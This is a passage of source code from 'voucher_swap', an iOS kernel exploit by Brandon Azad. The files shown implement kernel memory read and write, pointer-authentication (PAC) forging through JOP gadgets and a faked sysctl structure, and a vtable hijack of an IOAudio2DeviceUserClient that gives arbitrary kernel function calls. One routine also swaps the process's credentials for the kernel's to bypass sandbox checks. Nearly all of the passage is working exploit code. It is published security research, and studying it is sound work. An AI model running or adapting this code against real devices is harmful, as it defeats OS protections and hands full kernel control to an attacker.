53 | uint64_t paciza__l2tp_domain_module_start = kernel_read64(
54 | ADDRESS(paciza_pointer__l2tp_domain_module_start));
55 | uint64_t paciza__l2tp_domain_module_stop = kernel_read64(
56 | ADDRESS(paciza_pointer__l2tp_domain_module_stop));
57 |
58 | // Read out the original value of sysctl__net_ppp_l2tp__data.
59 | uint8_t sysctl__net_ppp_l2tp__data[SIZE(sysctl_oid)];
60 | kernel_read(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid));
61 |
62 | // Create a fake sysctl_oid for sysctl_unregister_oid(). We craft this sysctl_oid such that
63 | // sysctl_unregister_oid() will execute the following instruction sequence:
64 | //
65 | // LDR X10, [X9,#0x30]! ; X10 = old_oidp->oid_handler
66 | // CBNZ X19, loc_FFFFFFF007EBD330
67 | // CBZ X10, loc_FFFFFFF007EBD330
68 | // MOV X19, #0
69 | // MOV X11, X9 ; X11 = &old_oidp->oid_handler
70 | // MOVK X11, #0x14EF,LSL#48 ; X11 = 14EF`&oid_handler
71 | // AUTIA X10, X11 ; X10 = AUTIA(handler, 14EF`&handler)
72 | // PACIZA X10 ; X10 = PACIZA(X10)
73 | // STR X10, [X9] ; old_oidp->oid_handler = X10
74 | //
75 | uint8_t fake_sysctl_oid[SIZE(sysctl_oid)];
76 | memset(fake_sysctl_oid, 0xab, SIZE(sysctl_oid));
77 | FIELD(fake_sysctl_oid, sysctl_oid, oid_parent, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_link);
78 | FIELD(fake_sysctl_oid, sysctl_oid, oid_link, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp);
79 | FIELD(fake_sysctl_oid, sysctl_oid, oid_kind, uint32_t) = 0x400000;
80 | FIELD(fake_sysctl_oid, sysctl_oid, oid_handler, uint64_t) = ADDRESS(mov_x0_x4__br_x5);
81 | FIELD(fake_sysctl_oid, sysctl_oid, oid_version, uint32_t) = 1;
82 | FIELD(fake_sysctl_oid, sysctl_oid, oid_refcnt, uint32_t) = 0;
83 |
84 | // Overwrite sysctl__net_ppp_l2tp with our fake sysctl_oid.
85 | kernel_write(ADDRESS(sysctl__net_ppp_l2tp), fake_sysctl_oid, SIZE(sysctl_oid));
86 |
87 | // Call l2tp_domain_module_stop() to trigger sysctl_unregister_oid() on our fake
88 | // sysctl_oid, which will PACIZA our pointer to the "mov x0, x4 ; br x5" gadget.
89 | __unused uint32_t ret;
90 | ret = stage1_kernel_call_7(
91 | paciza__l2tp_domain_module_stop, // PC
92 | 0, 0, 0, 0, 0, 0); // X1 - X6
93 | DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d",
94 | "l2tp_domain_module_stop", ret,
95 | kernel_read32(ADDRESS(l2tp_domain_inited)));
96 |
97 | // Read back the PACIZA'd pointer to the 'mov x0, x4 ; br x5' gadget. This pointer will not
98 | // be exactly correct, since it PACIZA'd an AUTIA'd pointer we didn't sign. But we can use
99 | // this value to reconstruct the correct PACIZA'd pointer.
100 | uint64_t handler = kernel_read64(
101 | ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_handler));
102 | paciza__mov_x0_x4__br_x5 = handler ^ (1uLL << (63 - 1));
103 | DEBUG_TRACE(1, "PACIZA(%s) = 0x%016llx", "'mov x0, x4 ; br x5'", paciza__mov_x0_x4__br_x5);
104 |
105 | // Now write back the original sysctl_oid and call sysctl_unregister_oid() to clean it up.
106 | kernel_write(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid));
107 | ret = stage1_kernel_call_7(
108 | paciza__mov_x0_x4__br_x5, // PC
109 | 0, 0, 0, // X1 - X3
110 | ADDRESS(sysctl__net_ppp_l2tp), // X4
111 | ADDRESS(sysctl_unregister_oid), // X5
112 | 0); // X6
113 | DEBUG_TRACE(2, "%s(%016llx) = 0x%08x", "sysctl_unregister_oid",
114 | ADDRESS(sysctl__net_ppp_l2tp), ret);
115 |
116 | // And finally call l2tp_domain_module_start() to re-initialize the module.
117 | ret = stage1_kernel_call_7(
118 | paciza__l2tp_domain_module_start, // PC
119 | 0, 0, 0, 0, 0, 0); // X1 - X6
120 | DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d",
121 | "l2tp_domain_module_start", ret,
122 | kernel_read32(ADDRESS(l2tp_domain_inited)));
123 |
124 | // Alright, so now we have an arbitrary call gadget!
125 | kernel_pacxa_buffer = stage1_get_kernel_buffer();
126 | }
127 |
128 | // ---- Stage 2 -----------------------------------------------------------------------------------
129 |
130 | /*
131 | * stage2_kernel_forge_pacxa
132 | *
133 | * Description:
134 | * Forge a PACIA or PACDA pointer using the kernel forging gadgets.
135 | */
136 | static uint64_t
137 | stage2_kernel_forge_pacxa(uint64_t address, uint64_t context, bool instruction) {
138 | const size_t pacxa_buffer_size = SIZE(kernel_forge_pacxa_gadget_buffer);
139 | const size_t pacxa_buffer_offset = OFFSET(kernel_forge_pacxa_gadget_buffer, first_access);
140 | // Initialize the kernel_pacxa_buffer to be all zeros.
141 | uint8_t pacxa_buffer[pacxa_buffer_size - pacxa_buffer_offset];
142 | memset(pacxa_buffer, 0, sizeof(pacxa_buffer));
143 | kernel_write(kernel_pacxa_buffer, pacxa_buffer, sizeof(pacxa_buffer));
144 | // The buffer address we pass to the gadget is offset from the part of that we initialize
145 | // (to save us some space). The result is stored at different offsets in the buffer
146 | // depending on whether the operation is PACIA or PACDA.
147 | uint64_t buffer_address = kernel_pacxa_buffer - pacxa_buffer_offset;
148 | uint64_t result_address = buffer_address;
149 | uint64_t pacxa_gadget;
150 | if (instruction) {
151 | result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result);
152 | pacxa_gadget = ADDRESS(kernel_forge_pacia_gadget);
153 | } else {
154 | result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result);
155 | pacxa_gadget = ADDRESS(kernel_forge_pacda_gadget);
156 | }
157 | // We need to set:
158 | //
159 | // x2 = buffer_address
160 | // x9 = address
161 | // x10 = context
162 | //
163 | // In order to do that we'll execute the following JOP sequence before jumping to the
164 | // gadget:
165 | //
166 | // mov x0, x4 ; br x5
167 | // mov x9, x0 ; br x1
168 | // mov x10, x3 ; br x6
169 | //
170 | __unused uint32_t ret;
171 | ret = stage1_kernel_call_7(
172 | paciza__mov_x0_x4__br_x5, // PC
173 | ADDRESS(mov_x10_x3__br_x6), // X1
174 | buffer_address, // X2
175 | context, // X3
176 | address, // X4
177 | ADDRESS(mov_x9_x0__br_x1), // X5
178 | pacxa_gadget); // X6
179 | DEBUG_TRACE(2, "%s_GADGET(): 0x%08x", (instruction ? "PACIA" : "PACDA"), ret);
180 | // Now recover the PACXA'd value.
181 | uint64_t pacxa = kernel_read64(result_address);
182 | return pacxa;
183 | }
184 |
185 | /*
186 | * xpaci
187 | *
188 | * Description:
189 | * Strip a PACIx code from a pointer.
190 | */
191 | static uint64_t
192 | xpaci(uint64_t pointer) {
193 | asm("xpaci %[value]\n" : [value] "+r"(pointer));
194 | return pointer;
195 | }
196 |
197 | /*
198 | * xpacd
199 | *
200 | * Description:
201 | * Strip a PACDx code from a pointer.
202 | */
203 | static uint64_t
204 | xpacd(uint64_t pointer) {
205 | asm("xpacd %[value]\n" : [value] "+r"(pointer));
206 | return pointer;
207 | }
208 |
209 | #endif // __arm64e__
210 |
211 | // ---- API ---------------------------------------------------------------------------------------
212 |
213 | bool
214 | stage2_kernel_call_init() {
215 | #if __arm64e__
216 | stage1_init_kernel_pacxa_forging();
217 | #endif
218 | return true;
219 | }
220 |
221 | void
222 | stage2_kernel_call_deinit() {
223 | }
224 |
225 | uint32_t
226 | stage2_kernel_call_7v(uint64_t function,
227 | size_t argument_count, const uint64_t arguments[]) {
228 | uint64_t paciza_function = kernel_forge_pacia(function, 0);
229 | return stage1_kernel_call_7v(paciza_function, argument_count, arguments);
230 | }
231 |
232 | uint64_t
233 | kernel_forge_pacia(uint64_t pointer, uint64_t context) {
234 | #if __arm64e__
235 | return stage2_kernel_forge_pacxa(pointer, context, true);
236 | #else
237 | return pointer;
238 | #endif
239 | }
240 |
241 | uint64_t
242 | kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type) {
243 | uint64_t context = ((uint64_t) type << 48) | (address & 0x0000ffffffffffff);
244 | return kernel_forge_pacia(pointer, context);
245 | }
246 |
247 | uint64_t
248 | kernel_forge_pacda(uint64_t pointer, uint64_t context) {
249 | #if __arm64e__
250 | return stage2_kernel_forge_pacxa(pointer, context, false);
251 | #else
252 | return pointer;
253 | #endif
254 | }
255 |
256 | uint64_t
257 | kernel_xpaci(uint64_t pointer) {
258 | #if __arm64e__
259 | return xpaci(pointer);
260 | #else
261 | return pointer;
262 | #endif
263 | }
264 |
265 | uint64_t
266 | kernel_xpacd(uint64_t pointer) {
267 | #if __arm64e__
268 | return xpacd(pointer);
269 | #else
270 | return pointer;
271 | #endif
272 | }
273 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/kernel_call/pac.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/pac.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__PAC_H_
6 | #define VOUCHER_SWAP__KERNEL_CALL__PAC_H_
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | /*
13 | * stage2_kernel_call_init
14 | *
15 | * Description:
16 | * Initialize stage 2 of kernel function calling.
17 | *
18 | * Initializes:
19 | * stage2_kernel_call_7v()
20 | * kernel_forge_pacia()
21 | * kernel_forge_pacia_with_type()
22 | * kernel_forge_pacda()
23 | */
24 | bool stage2_kernel_call_init(void);
25 |
26 | /*
27 | * stage2_kernel_call_deinit
28 | *
29 | * Description:
30 | * Deinitialize stage 2 of kernel function calling.
31 | */
32 | void stage2_kernel_call_deinit(void);
33 |
34 | /*
35 | * stage2_kernel_call_7v
36 | *
37 | * Description:
38 | * Call a kernel function using our stage 2 execute primitive.
39 | *
40 | * Restrictions:
41 | * At most 7 arguments can be passed.
42 | * The return value is truncated to 32 bits.
43 | * At stage 2, only arguments X1 - X6 are controlled.
44 | */
45 | uint32_t stage2_kernel_call_7v(uint64_t function,
46 | size_t argument_count, const uint64_t arguments[]);
47 |
48 | #endif
49 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/kernel_call/user_client.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/user_client.c
3 | * Brandon Azad
4 | */
5 | #include "kernel_call/user_client.h"
6 |
7 | #include
8 |
9 | #include "IOKitLib.h"
10 | #include "kernel_call.h"
11 | #include "kernel_call/kc_parameters.h"
12 | #include "kernel_call/pac.h"
13 | #include "kernel_memory.h"
14 | #include "log.h"
15 | #include "mach_vm.h"
16 | #include "parameters.h"
17 |
18 | // ---- Global variables --------------------------------------------------------------------------
19 |
20 | // The connection to the user client.
21 | static io_connect_t connection;
22 |
23 | // The address of the user client.
24 | static uint64_t user_client;
25 |
26 | // The address of the IOExternalTrap.
27 | static uint64_t trap;
28 |
29 | // The size of our kernel buffer.
30 | static const size_t kernel_buffer_size = 0x4000;
31 |
32 | // The address of our kernel buffer.
33 | static uint64_t kernel_buffer;
34 |
35 | // The maximum size of the vtable.
36 | static const size_t max_vtable_size = 0x1000;
37 |
38 | // The user client's original vtable pointer.
39 | static uint64_t original_vtable;
40 |
41 | // ---- Stage 1 -----------------------------------------------------------------------------------
42 |
43 | /*
44 | * kernel_get_proc_for_task
45 | *
46 | * Description:
47 | * Get the proc struct for a task.
48 | */
49 | static uint64_t
50 | kernel_get_proc_for_task(uint64_t task) {
51 | return kernel_read64(task + OFFSET(task, bsd_info));
52 | }
53 |
54 | /*
55 | * assume_kernel_credentials
56 | *
57 | * Description:
58 | * Set this process's credentials to the kernel's credentials so that we can bypass sandbox
59 | * checks.
60 | */
61 | static void
62 | assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred) {
63 | uint64_t proc_self = kernel_get_proc_for_task(current_task);
64 | uint64_t kernel_proc = kernel_get_proc_for_task(kernel_task);
65 | uint64_t proc_self_ucred_field = proc_self + OFFSET(proc, p_ucred);
66 | uint64_t kernel_proc_ucred_field = kernel_proc + OFFSET(proc, p_ucred);
67 | uint64_t proc_self_ucred = kernel_read64(proc_self_ucred_field);
68 | uint64_t kernel_proc_ucred = kernel_read64(kernel_proc_ucred_field);
69 | kernel_write64(proc_self_ucred_field, kernel_proc_ucred);
70 | *ucred_field = proc_self_ucred_field;
71 | *ucred = proc_self_ucred;
72 | }
73 |
74 | /*
75 | * restore_credentials
76 | *
77 | * Description:
78 | * Restore this process's credentials after calling assume_kernel_credentials().
79 | */
80 | static void
81 | restore_credentials(uint64_t ucred_field, uint64_t ucred) {
82 | kernel_write64(ucred_field, ucred);
83 | }
84 |
85 | /*
86 | * stage0_create_user_client
87 | *
88 | * Description:
89 | * Create a connection to an IOAudio2DeviceUserClient object.
90 | */
91 | static bool
92 | stage0_create_user_client() {
93 | bool success = false;
94 | // First get a handle to some IOAudio2Device driver.
95 | io_iterator_t iter;
96 | kern_return_t kr = IOServiceGetMatchingServices(
97 | kIOMasterPortDefault,
98 | IOServiceMatching("IOAudio2Device"),
99 | &iter);
100 | if (iter == MACH_PORT_NULL) {
101 | ERROR("could not find services matching %s", "IOAudio2Device");
102 | goto fail_0;
103 | }
104 | // Assume the kernel's credentials in order to look up the user client. Otherwise we'd be
105 | // denied with a sandbox error.
106 | uint64_t ucred_field, ucred;
107 | assume_kernel_credentials(&ucred_field, &ucred);
108 | // Now try to open each service in turn.
109 | for (;;) {
110 | // Get the service.
111 | mach_port_t IOAudio2Device = IOIteratorNext(iter);
112 | if (IOAudio2Device == MACH_PORT_NULL) {
113 | ERROR("could not open any %s", "IOAudio2Device");
114 | break;
115 | }
116 | // Now open a connection to it.
117 | kr = IOServiceOpen(
118 | IOAudio2Device,
119 | mach_task_self(),
120 | 0,
121 | &connection);
122 | IOObjectRelease(IOAudio2Device);
123 | if (kr == KERN_SUCCESS) {
124 | success = true;
125 | break;
126 | }
127 | DEBUG_TRACE(2, "%s returned 0x%x: %s", "IOServiceOpen", kr, mach_error_string(kr));
128 | DEBUG_TRACE(2, "could not open %s", "IOAudio2DeviceUserClient");
129 | }
130 | // Restore the credentials.
131 | restore_credentials(ucred_field, ucred);
132 | fail_1:
133 | IOObjectRelease(iter);
134 | fail_0:
135 | return success;
136 | }
137 |
138 | /*
139 | * stage0_find_user_client_trap
140 | *
141 | * Description:
142 | * Get the address of the IOAudio2DeviceUserClient and its IOExternalTrap.
143 | */
144 | static void
145 | stage0_find_user_client_trap() {
146 | assert(MACH_PORT_VALID(connection));
147 | // Get the address of the port representing the IOAudio2DeviceUserClient.
148 | uint64_t user_client_port;
149 | bool ok = kernel_ipc_port_lookup(current_task, connection, &user_client_port, NULL);
150 | assert(ok);
151 | // Get the address of the IOAudio2DeviceUserClient.
152 | user_client = kernel_read64(user_client_port + OFFSET(ipc_port, ip_kobject));
153 | // Get the address of the IOExternalTrap.
154 | trap = kernel_read64(user_client + OFFSET(IOAudio2DeviceUserClient, traps));
155 | DEBUG_TRACE(2, "%s is at 0x%016llx", "IOExternalTrap", trap);
156 | }
157 |
158 | /*
159 | * stage0_allocate_kernel_buffer
160 | *
161 | * Description:
162 | * Allocate a buffer in kernel memory.
163 | */
164 | static bool
165 | stage0_allocate_kernel_buffer() {
166 | kern_return_t kr = mach_vm_allocate(kernel_task_port, &kernel_buffer,
167 | kernel_buffer_size, VM_FLAGS_ANYWHERE);
168 | if (kr != KERN_SUCCESS) {
169 | ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr));
170 | ERROR("could not allocate kernel buffer");
171 | return false;
172 | }
173 | DEBUG_TRACE(1, "allocated kernel buffer at 0x%016llx", kernel_buffer);
174 | return true;
175 | }
176 |
177 | // ---- Stage 3 -----------------------------------------------------------------------------------
178 |
179 | /*
180 | * kernel_read_vtable_method
181 | *
182 | * Description:
183 | * Read the virtual method pointer at the specified index in the vtable.
184 | */
185 | static uint64_t
186 | kernel_read_vtable_method(uint64_t vtable, size_t index) {
187 | uint64_t vmethod_address = vtable + index * sizeof(uint64_t);
188 | return kernel_read64(vmethod_address);
189 | }
190 |
191 | /*
192 | * stage2_copyout_user_client_vtable
193 | *
194 | * Description:
195 | * Copy out the user client's vtable to userspace. The returned array must be freed when no
196 | * longer needed.
197 | */
198 | static uint64_t *
199 | stage2_copyout_user_client_vtable() {
200 | // Get the address of the vtable.
201 | original_vtable = kernel_read64(user_client);
202 | uint64_t original_vtable_xpac = kernel_xpacd(original_vtable);
203 | // Read the contents of the vtable to local buffer.
204 | uint64_t *vtable_contents = malloc(max_vtable_size);
205 | assert(vtable_contents != NULL);
206 | kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size);
207 | return vtable_contents;
208 | }
209 |
210 | /*
211 | * stage2_patch_user_client_vtable
212 | *
213 | * Description:
214 | * Patch the contents of the user client's vtable in preparation for stage 3.
215 | */
216 | static size_t
217 | stage2_patch_user_client_vtable(uint64_t *vtable) {
218 | // Replace the original vtable's IOUserClient::getTargetAndTrapForIndex() method with the
219 | // original version (which calls IOUserClient::getExternalTrapForIndex()).
220 | uint64_t IOUserClient__getTargetAndTrapForIndex = kernel_read_vtable_method(
221 | ADDRESS(IOUserClient__vtable),
222 | VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex));
223 | vtable[VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)]
224 | = IOUserClient__getTargetAndTrapForIndex;
225 | // Replace the original vtable's IOUserClient::getExternalTrapForIndex() method with
226 | // IORegistryEntry::getRegistryEntryID().
227 | vtable[VTABLE_INDEX(IOUserClient, getExternalTrapForIndex)] =
228 | ADDRESS(IORegistryEntry__getRegistryEntryID);
229 | // Forge the pacia pointers to the virtual methods.
230 | size_t count = 0;
231 | for (; count < max_vtable_size / sizeof(*vtable); count++) {
232 | uint64_t vmethod = vtable[count];
233 | if (vmethod == 0) {
234 | break;
235 | }
236 | #if __arm64e__
237 | assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count);
238 | vmethod = kernel_xpaci(vmethod);
239 | uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable);
240 | vtable[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address,
241 | VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes[count]);
242 | #endif // __arm64e__
243 | }
244 | return count;
245 | }
246 |
247 | /*
248 | * stage2_patch_user_client
249 | *
250 | * Description:
251 | * Patch the user client in preparation for stage 3.
252 | */
253 | static void
254 | stage2_patch_user_client(uint64_t *vtable, size_t count) {
255 | // Write the vtable to the kernel buffer.
256 | kernel_write(kernel_buffer, vtable, count * sizeof(*vtable));
257 | // Overwrite the user client's registry entry ID to point to the IOExternalTrap.
258 | uint64_t reserved_field = user_client + OFFSET(IORegistryEntry, reserved);
259 | uint64_t reserved = kernel_read64(reserved_field);
260 | uint64_t id_field = reserved + OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID);
261 | kernel_write64(id_field, trap);
262 | // Forge the pacdza pointer to the vtable.
263 | uint64_t vtable_pointer = kernel_forge_pacda(kernel_buffer, 0);
264 | // Overwrite the user client's vtable pointer with the forged pointer to our fake vtable.
265 | kernel_write64(user_client, vtable_pointer);
266 | }
267 |
268 | /*
269 | * stage2_unpatch_user_client
270 | *
271 | * Description:
272 | * Undo the patches to the user client.
273 | */
274 | static void
275 | stage2_unpatch_user_client() {
276 | // Write the original vtable pointer back to the user client.
277 | kernel_write64(user_client, original_vtable);
278 | }
279 |
280 | // ---- API ---------------------------------------------------------------------------------------
281 |
282 | bool
283 | stage1_kernel_call_init() {
284 | // Initialize the parameters. We do this first to fail early.
285 | bool ok = kernel_call_parameters_init();
286 | if (!ok) {
287 | return false;
288 | }
289 | // Create the IOAudio2DeviceUserClient.
290 | ok = stage0_create_user_client();
291 | if (!ok) {
292 | ERROR("could not create %s", "IOAudio2DeviceUserClient");
293 | return false;
294 | }
295 | // Find the IOAudio2DeviceUserClient's IOExternalTrap.
296 | stage0_find_user_client_trap();
297 | // Allocate the kernel buffer.
298 | ok = stage0_allocate_kernel_buffer();
299 | if (!ok) {
300 | return false;
301 | }
302 | return true;
303 | }
304 |
305 | void
306 | stage1_kernel_call_deinit() {
307 | if (trap != 0) {
308 | // Zero out the trap.
309 | uint8_t trap_data[SIZE(IOExternalTrap)];
310 | memset(trap_data, 0, SIZE(IOExternalTrap));
311 | kernel_write(trap, trap_data, SIZE(IOExternalTrap));
312 | trap = 0;
313 | }
314 | if (kernel_buffer != 0) {
315 | // Deallocate our kernel buffer.
316 | mach_vm_deallocate(mach_task_self(), kernel_buffer, kernel_buffer_size);
317 | kernel_buffer = 0;
318 | }
319 | if (MACH_PORT_VALID(connection)) {
320 | // Close the connection.
321 | IOServiceClose(connection);
322 | connection = MACH_PORT_NULL;
323 | }
324 | }
325 |
326 | uint64_t
327 | stage1_get_kernel_buffer() {
328 | assert(kernel_buffer_size >= 0x2000);
329 | return kernel_buffer + kernel_buffer_size - 0x1000;
330 | }
331 |
332 | uint32_t
333 | stage1_kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) {
334 | assert(function != 0);
335 | assert(argument_count <= 7);
336 | assert(argument_count == 0 || arguments[0] != 0);
337 | assert(MACH_PORT_VALID(connection) && trap != 0);
338 | // Get exactly 7 arguments. Initialize args[0] to 1 in case there are no arguments.
339 | uint64_t args[7] = { 1 };
340 | for (size_t i = 0; i < argument_count && i < 7; i++) {
341 | args[i] = arguments[i];
342 | }
343 | // Initialize the IOExternalTrap for this call.
344 | uint8_t trap_data[SIZE(IOExternalTrap)];
345 | FIELD(trap_data, IOExternalTrap, object, uint64_t) = args[0];
346 | FIELD(trap_data, IOExternalTrap, function, uint64_t) = function;
347 | FIELD(trap_data, IOExternalTrap, offset, uint64_t) = 0;
348 | kernel_write(trap, trap_data, SIZE(IOExternalTrap));
349 | // Perform the function call.
350 | uint32_t result = IOConnectTrap6(connection, 0,
351 | args[1], args[2], args[3], args[4], args[5], args[6]);
352 | return result;
353 | }
354 |
355 | bool
356 | stage3_kernel_call_init() {
357 | uint64_t *vtable = stage2_copyout_user_client_vtable();
358 | size_t count = stage2_patch_user_client_vtable(vtable);
359 | stage2_patch_user_client(vtable, count);
360 | free(vtable);
361 | return true;
362 | }
363 |
364 | void
365 | stage3_kernel_call_deinit() {
366 | if (original_vtable != 0) {
367 | stage2_unpatch_user_client();
368 | original_vtable = 0;
369 | }
370 | }
371 |
372 | uint32_t
373 | kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) {
374 | return stage2_kernel_call_7v(function, argument_count, arguments);
375 | }
376 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/kernel_call/user_client.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/user_client.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_
6 | #define VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | /*
13 | * stage1_kernel_call_init
14 | *
15 | * Description:
16 | * Initialize stage 1 of kernel function calling.
17 | *
18 | * Initializes:
19 | * kernel_call_parameters_init()
20 | * stage1_kernel_call_7v()
21 | */
22 | bool stage1_kernel_call_init(void);
23 |
24 | /*
25 | * stage1_kernel_call_deinit
26 | *
27 | * Description:
28 | * Deinitialize stage 1 of kernel function calling.
29 | */
30 | void stage1_kernel_call_deinit(void);
31 |
32 | /*
33 | * stage1_get_kernel_buffer
34 | *
35 | * Description:
36 | * Get the address of a 0x1000-byte scratch space in kernel memory that can be used by other
37 | * stages.
38 | */
39 | uint64_t stage1_get_kernel_buffer(void);
40 |
41 | /*
42 | * stage1_kernel_call_7v
43 | *
44 | * Description:
45 | * Call a kernel function using our stage 1 execute primitive.
46 | *
47 | * Restrictions:
48 | * At most 7 arguments can be passed.
49 | * The return value is truncated to 32 bits.
50 | * At stage 1, only arguments X1 - X6 are controlled.
51 | * The function pointer must already have a PAC signature.
52 | */
53 | uint32_t stage1_kernel_call_7v(uint64_t function,
54 | size_t argument_count, const uint64_t arguments[]);
55 |
56 | /*
57 | * stage3_kernel_call_init
58 | *
59 | * Description:
60 | * Initialize stage 3 of kernel function calling.
61 | *
62 | * Initializes:
63 | * kernel_call_7v()
64 | */
65 | bool stage3_kernel_call_init(void);
66 |
67 | /*
68 | * stage3_kernel_call_deinit
69 | *
70 | * Description:
71 | * Deinitialize stage 3 of kernel function calling.
72 | */
73 | void stage3_kernel_call_deinit(void);
74 |
75 | #endif
76 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/kernel_memory.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_memory.c
3 | * Brandon Azad
4 | */
5 | #define KERNEL_MEMORY_EXTERN
6 | #include "kernel_memory.h"
7 |
8 | #include "log.h"
9 | #include "mach_vm.h"
10 | #include "parameters.h"
11 |
12 | // ---- Kernel memory functions -------------------------------------------------------------------
13 |
14 | bool
15 | kernel_read(uint64_t address, void *data, size_t size) {
16 | mach_vm_size_t size_out;
17 | kern_return_t kr = mach_vm_read_overwrite(kernel_task_port, address,
18 | size, (mach_vm_address_t) data, &size_out);
19 | if (kr != KERN_SUCCESS) {
20 | ERROR("%s returned %d: %s", "mach_vm_read_overwrite", kr, mach_error_string(kr));
21 | ERROR("could not %s address 0x%016llx", "read", address);
22 | return false;
23 | }
24 | if (size_out != size) {
25 | ERROR("partial read of address 0x%016llx: %llu of %zu bytes",
26 | address, size_out, size);
27 | return false;
28 | }
29 | return true;
30 | }
31 |
32 | bool
33 | kernel_write(uint64_t address, const void *data, size_t size) {
34 | kern_return_t kr = mach_vm_write(kernel_task_port, address,
35 | (mach_vm_address_t) data, (mach_msg_size_t) size);
36 | if (kr != KERN_SUCCESS) {
37 | ERROR("%s returned %d: %s", "mach_vm_write", kr, mach_error_string(kr));
38 | ERROR("could not %s address 0x%016llx", "write", address);
39 | return false;
40 | }
41 | return true;
42 | }
43 |
44 | uint8_t
45 | kernel_read8(uint64_t address) {
46 | uint8_t value;
47 | bool ok = kernel_read(address, &value, sizeof(value));
48 | if (!ok) {
49 | return -1;
50 | }
51 | return value;
52 | }
53 |
54 | uint16_t
55 | kernel_read16(uint64_t address) {
56 | uint16_t value;
57 | bool ok = kernel_read(address, &value, sizeof(value));
58 | if (!ok) {
59 | return -1;
60 | }
61 | return value;
62 | }
63 |
64 | uint32_t
65 | kernel_read32(uint64_t address) {
66 | uint32_t value;
67 | bool ok = kernel_read(address, &value, sizeof(value));
68 | if (!ok) {
69 | return -1;
70 | }
71 | return value;
72 | }
73 |
74 | uint64_t
75 | kernel_read64(uint64_t address) {
76 | uint64_t value;
77 | bool ok = kernel_read(address, &value, sizeof(value));
78 | if (!ok) {
79 | return -1;
80 | }
81 | return value;
82 | }
83 |
84 | bool
85 | kernel_write8(uint64_t address, uint8_t value) {
86 | return kernel_write(address, &value, sizeof(value));
87 | }
88 |
89 | bool
90 | kernel_write16(uint64_t address, uint16_t value) {
91 | return kernel_write(address, &value, sizeof(value));
92 | }
93 |
94 | bool
95 | kernel_write32(uint64_t address, uint32_t value) {
96 | return kernel_write(address, &value, sizeof(value));
97 | }
98 |
99 | bool
100 | kernel_write64(uint64_t address, uint64_t value) {
101 | return kernel_write(address, &value, sizeof(value));
102 | }
103 |
104 | // ---- Kernel utility functions ------------------------------------------------------------------
105 |
106 | bool
107 | kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name,
108 | uint64_t *ipc_port, uint64_t *ipc_entry) {
109 | // Get the task's ipc_space.
110 | uint64_t itk_space = kernel_read64(task + OFFSET(task, itk_space));
111 | // Get the size of the table.
112 | uint32_t is_table_size = kernel_read32(itk_space + OFFSET(ipc_space, is_table_size));
113 | // Get the index of the port and check that it is in-bounds.
114 | uint32_t port_index = MACH_PORT_INDEX(port_name);
115 | if (port_index >= is_table_size) {
116 | return false;
117 | }
118 | // Get the space's is_table and compute the address of this port's entry.
119 | uint64_t is_table = kernel_read64(itk_space + OFFSET(ipc_space, is_table));
120 | uint64_t entry = is_table + port_index * SIZE(ipc_entry);
121 | if (ipc_entry != NULL) {
122 | *ipc_entry = entry;
123 | }
124 | // Get the address of the port if requested.
125 | if (ipc_port != NULL) {
126 | *ipc_port = kernel_read64(entry + OFFSET(ipc_entry, ie_object));
127 | }
128 | return true;
129 | }
130 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/kernel_memory.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_memory.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_MEMORY_H_
6 | #define VOUCHER_SWAP__KERNEL_MEMORY_H_
7 |
8 | #include
9 | #include
10 | #include
11 | #include
12 |
13 | #ifdef KERNEL_MEMORY_EXTERN
14 | #define extern KERNEL_MEMORY_EXTERN
15 | #endif
16 |
17 | /*
18 | * kernel_task_port
19 | *
20 | * Description:
21 | * The kernel task port.
22 | */
23 | extern mach_port_t kernel_task_port;
24 |
25 | /*
26 | * kernel_task
27 | *
28 | * Description:
29 | * The address of the kernel_task in kernel memory.
30 | */
31 | extern uint64_t kernel_task;
32 |
33 | /*
34 | * current_task
35 | *
36 | * Description:
37 | * The address of the current task in kernel memory.
38 | */
39 | extern uint64_t current_task;
40 |
41 | /*
42 | * kernel_read
43 | *
44 | * Description:
45 | * Read data from kernel memory.
46 | */
47 | bool kernel_read(uint64_t address, void *data, size_t size);
48 |
49 | /*
50 | * kernel_write
51 | *
52 | * Description:
